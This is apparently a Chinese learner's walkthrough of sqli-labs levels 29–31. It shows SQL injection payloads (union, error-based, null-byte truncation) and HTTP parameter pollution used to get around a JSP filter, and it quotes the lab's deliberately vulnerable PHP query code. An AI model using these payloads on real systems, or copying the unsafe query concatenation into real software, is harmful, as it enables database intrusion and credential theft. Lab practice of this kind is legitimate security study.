less-29
提示有最好的防火墙
小白原因 这种题型没见过 先自己测试一下
?id=1' to use near ''1'' 预计可以使用报错注入 和单引号有关的注入点
?id=1' and '1'='1 成功
?id=1' and '1'='2 失败
确实是单引号字符型注入点
?id=1';%00 id=1%27;%00 获取到了%00空字符(原因就是服务器获取的url编码后的信息)
?id=1'; 报错 看来%00还是可以用的
?id=0' union select 1,2,3;%00 联合查询注入成功
?id=1' and extractvalue(1,concat('~',database())) ;%00
?id=1' and extractvalue(1,concat('~',database())) and '1'='1
成功报错注入 莫名其妙注入成功 这关难点在哪呢
发现服务器获取的是url编码后的信息
Hint: The Query String you input is: id=1%27%20and%20extractvalue(1,concat(%27~%27,database()))%20and%20%271%27=%271
这么简单和第一关一样 并且提示有最好的waf 我就纳闷了先看了一下源码有3个意识到不简单 我就搜索教程了
搜索教程发现 29-32需要自己搭建环境 这个靶场只提供源码
搭建了一个半小时各种问题 好歹最后成功了(在这我也发现了 无论什么时候都要靠自己 b站上搭建的视频 博主根本不好好看源代码 首页面报错必须输入id值才可以 估计他也是按照网上找的教程弄得)
不输入参数的时候我的一点问题没有
这是网上全都出现的问题 不输入参数会报错
修改点就在index.jsp第二个url中 下面的代码分析中可以看到
下载一个jspstudy 充当waf 服务端口phpstudy启用80 jspstudy使用8080
接下来我们访问这个8080端口 也就是waf的
进行注入测试
?id=1 正常
?id=1' 直接跳转到hacked.jsp提示攻击被阻挡
多次测试只能输出id的整数 输入什么都会提示攻击被阻挡
搜索教程后 该关使用的是参数污染的方式进行注入
?id=1&id=2 返回id=2的数据id=1的数据不返回
?id=1'&id=2 攻击被阻挡
?id=1&id=2' 出现了报错信息 单引号引发的问题
?id=1&id=2' and 1=1;%00 成功
Hint: The Query String you input is: id=1&id=2%27%20and%201=2;%00
?id=1&id=2' and 1=2;%00 无回显
Hint: The Query String you input is: id=1&id=2%27%20and%201=2;%00
到这就知道了 服务器后端只对第二个id参数进行处理
注入实例
?id=1&id=0' union select 1,2,3;%00 成功
可以使用联合注入 报错注入 盲注
?id=1&id=2'&id=4 返回第id=4的数据 id=2'也不报错 也不提示攻击失败
Hint: The Query String you input is: id=1&id=2%27&id=4
通过以上发现 服务器后端只处理最后的id参数 waf只处理第一个id参数
先讲一下双层服务器
tomcat充当waf服务器 waf对参数进行过滤后 再把数据提交给apache服务器
服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。
而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。该用法就是 HPP(HTTP Parameter Pollution),http 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。
代码分析一波
waf服务器的 index.jsp文件
<% String id = request.getParameter("id");//获取id参数 获取的第一个id参数 String qs = request.getQueryString(); if(id!=null)//参数不为空 { if(id!="")//参数不为空 { //try里面的就是waf工作原理 try { String rex = "^\\d+$"; //设置正则表达式 只能有数字 Boolean match=id.matches(rex);//看看参数中是否只有数字 就这一行就构成了最强的waf 因为只能匹配数字 只要是数字才能进行下一步 if(match == true)//如果全是数字 { URL sqli_labs = new URL("http://172.23.19.152/sql/Less-29/index.php?"+ qs);//跳转到新的页面 URLConnection sqli_labs_connection = sqli_labs.openConnection(); //这8行都是传数据用的 提供给新的页面 BufferedReader in = new BufferedReader( new InputStreamReader( sqli_labs_connection.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null) out.print(inputLine); in.close(); } else//还有别的符号 只要有别的符号服务器就认为你要攻击他 就跳转到hacked.jsp页面中 提示攻击失败 { response.sendRedirect("hacked.jsp"); } } catch (Exception ex) //异常处理 不用管 { out.print("<font color= '#FFFF00'>"); out.println(ex); out.print("</font>"); } finally { } } } else { URL sqli_labs = new URL("http://172.23.19.152/sql/Less-29/index.php"); URLConnection sqli_labs_connection = sqli_labs.openConnection(); BufferedReader in = new BufferedReader( new InputStreamReader( sqli_labs_connection.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null) out.print(inputLine); in.close(); } %>
服务器index.php页面
<?php include("../sql-connections/sql-connect.php"); error_reporting(0); if(isset($_GET['id'])) { $id=$_GET['id'];//这一步获取的是最后一个id的参数 //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); $qs = $_SERVER['QUERY_STRING']; $hint=$qs; // connectivity echo '$id';//证明获取最后一个参数 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value";} ?>
我分析代码后 不理解为什么jsp获取第一个参数 php获取最后一个参数
注意
AI解释 Java中,getParameter()方法只返回给定名称的第一个值 PHP自动获取参数是最后一个参数
less-30
同样告诉有最好的WAF 注入过程估计和上一题一样
各种测试 提示攻击失败
毕竟是WAF只能使用参数污染的方式了
?id=1&id=2' 不报错还查询出了结果 看来也是字符型 但是不是使用的单引号
试了一下双引号 直接出来结果了
?id=1&id=2" and 1=1;%00 成功
?id=1&id=2" and 1=2;%00 失败
看看能不能使用报错函数
?id=1&id=2" 无返回结果 不报错 看来不能使用报错函数
成功确定注入点
其余和上一关同理 能使用布尔注入 联合查询注入
详情请看less-29
less-31
一样的提示
直接使用参数污染的注入方式
?id=1&id=2' 不报错 输出结果 看来还是字符型 尝试一下 看看是那种字符型注入
?id=1&id=2" 报错 to use near '"2"") 直接就出来了 双引号加括号的字符型
?id=1&id=2") and 1=1;%00 成功
?id=1&id=2") and 1=2;%00 无返回结果
成功确定注入点
可以使用 联合查询 盲注 报错注入
详情请看less29